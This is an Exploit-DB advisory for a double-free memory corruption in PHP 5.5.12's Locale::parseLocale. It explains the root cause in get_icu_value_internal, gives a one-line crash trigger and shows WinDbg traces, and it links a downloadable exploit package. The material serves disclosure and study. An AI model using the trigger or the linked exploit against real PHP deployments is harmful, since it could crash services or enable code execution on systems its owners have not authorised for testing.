Exploit-DB #35358
Description: PHP 5.5.12 - Locale::parseLocale Memory Corruption
Type: dos
Platform: php
Date: 2014-11-24
Author: John Leitch

Exploit:
Full Package: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35358.tgz

Description:
------------
PHP 5.5.12 suffers from a memory corruption vulnerability that could potentially be exploited to achieve remote code execution. The vulnerability exists due to inconsistent behavior in the get_icu_value_internal function of ext\intl\locale\locale_methods.c. In most cases, get_icu_value_internal allocates memory that the caller is expected to free. However, if the first argument, loc_name, satisfies the conditions specified by the isIDPrefix macro (figure 1), and fromParseLocal is true, loc_name itself is returned. If a caller abides by contract and frees the return value of such a call, then the pointer passed via loc_name is freed again elsewhere, a double free occurs.

Figure 1. Macros used by get_icu_value_internal.
#define isIDSeparator(a) (a == '_' || a == '-')
[...]
#define isPrefixLetter(a) ((a=='x')||(a=='X')||(a=='i')||(a=='I'))
[...]
#define isIDPrefix(s) (isPrefixLetter(s[0])&&isIDSeparator(s[1]))

The zif_locale_parse function, which is exported to PHP as Locale::parseLocale, makes a call to get_icu_value_internal with potentially untrusted data. By passing a specially crafted locale (figure 2), remote code execution may be possible. The exploitability of this vulnerability is dependent on the attack surface of a given application. In instances where the locale string is exposed as a user configuration setting, it may be possible to achieve either pre- or post-authentication remote code execution. In other scenarios this vulnerability may serve as a means to achieve privilege escalation.

Figure 2. A call to Locale::parseLocale that triggers the exploitable condition.
Locale::parseLocale("x-AAAAAA");

Details for the two frees are shown in figures 3 and 4.

Figure 3. The first free.
0:000> kP
ChildEBP RetAddr  
016af25c 7146d7a3 php5ts!_efree(
            void * ptr = 0x030bf1e0)+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]
016af290 7146f6a2 php_intl!add_array_entry(
            char * loc_name = 0x0179028c "", 
            struct _zval_struct * hash_arr = 0x00000018, 
            char * key_name = 0x71489e60 "language", 
            void *** tsrm_ls = 0x7146f6a2)+0x1d3 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1073]
016af2b0 0f0c15ab php_intl!zif_locale_parse(
            int ht = 0n1, 
            struct _zval_struct * return_value = 0x030bf4c8, 
            struct _zval_struct ** return_value_ptr = 0x00000000, 
            struct _zval_struct * this_ptr = 0x00000000, 
            int return_value_used = 0n1, 
            void *** tsrm_ls = 0x0178be38)+0xb2 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1115]
016af314 0f0c0c07 php5ts!zend_do_fcall_common_helper_SPEC(
            struct _zend_execute_data * execute_data = 0x0179028c, 
            void *** tsrm_ls = 0x00000018)+0x1cb [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 551]
016af358 0f114757 php5ts!execute_ex(
            struct _zend_execute_data * execute_data = 0x030bef20, 
            void *** tsrm_ls = 0x0178be38)+0x397 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 363]
016af380 0f0e60ea php5ts!zend_execute(
            struct _zend_op_array * op_array = 0x030be5f0, 
            void *** tsrm_ls = 0x00000007)+0x1c7 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 388]
016af3b4 0f0e4a00 php5ts!zend_execute_scripts(
            int type = 0n8, 
            void *** tsrm_ls = 0x00000001, 
            struct _zval_struct ** retval = 0x00000000, 
            int file_count = 0n3)+0x14a [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend.c @ 1317]
016af5c0 00cc21fb php5ts!php_execute_script(
            struct _zend_file_handle * primary_file = <Memory access error>, 
            void *** tsrm_ls = <Memory access error>)+0x190 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\main\main.c @ 2506]
016af844 00cc2ed1 php!do_cli(
            int argc = 0n24707724, 
            char ** argv = 0x00000018, 
            void *** tsrm_ls = 0x0178be38)+0x87b [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 995]
016af8e0 00cca05e php!main(
            int argc = 0n2, 
            char ** argv = 0x01791d68)+0x4c1 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 1378]
016af920 76e1919f php!__tmainCRTStartup(void)+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 536]
016af92c 770ba8cb KERNEL32!BaseThreadInitThunk+0xe
016af970 770ba8a1 ntdll!__RtlUserThreadStart+0x20
016af[PII_REDACTED]0 ntdll!_RtlUserThreadStart+0x1b
0:000> ub eip
php5ts!_efree+0x49 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]:
0f0b1ef9 732e            jae     php5ts!_efree+0x79 (0f0b1f29)
0f0b1efb 817e4c00000200  cmp     dword ptr [esi+4Ch],20000h
0f0b1f02 7325            jae     php5ts!_efree+0x79 (0f0b1f29)
0f0b1f04 8bc2            mov     eax,edx
0f0b1f06 c1e803          shr     eax,3
0f0b1f09 8d0c86          lea     ecx,[esi+eax*4]
0f0b1f0c 8b4148          mov     eax,dword ptr [ecx+48h]
0f0b1f0f 894708          mov     dword ptr [edi+8],eax
0:000> u eip
php5ts!_efree+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]:
0f0b1f12 897948          mov     dword ptr [ecx+48h],edi
0f0b1f15 01564c          add     dword ptr [esi+4Ch],edx
0f0b1f18 a148456a0f      mov     eax,dword ptr [php5ts!zend_unblock_interruptions (0f6a4548)]
0f0b1f1d 85c0            test    eax,eax
0f0b1f1f 0f851d040000    jne     php5ts!_efree+0x492 (0f0b2342)
0f0b1f25 5f              pop     edi
0f0b1f26 5e              pop     esi
0f0b1f27 59              pop     ecx
0:000> ?edi+8
Evaluate expression: 51114464 = 030bf1e0
0:000> dc edi+8
030bf1e0  [PII_REDACTED] [PII_REDACTED]  ....AAAA........
030bf1f0  [PII_REDACTED] 61636f6c 0300656c  ........locale..
030bf2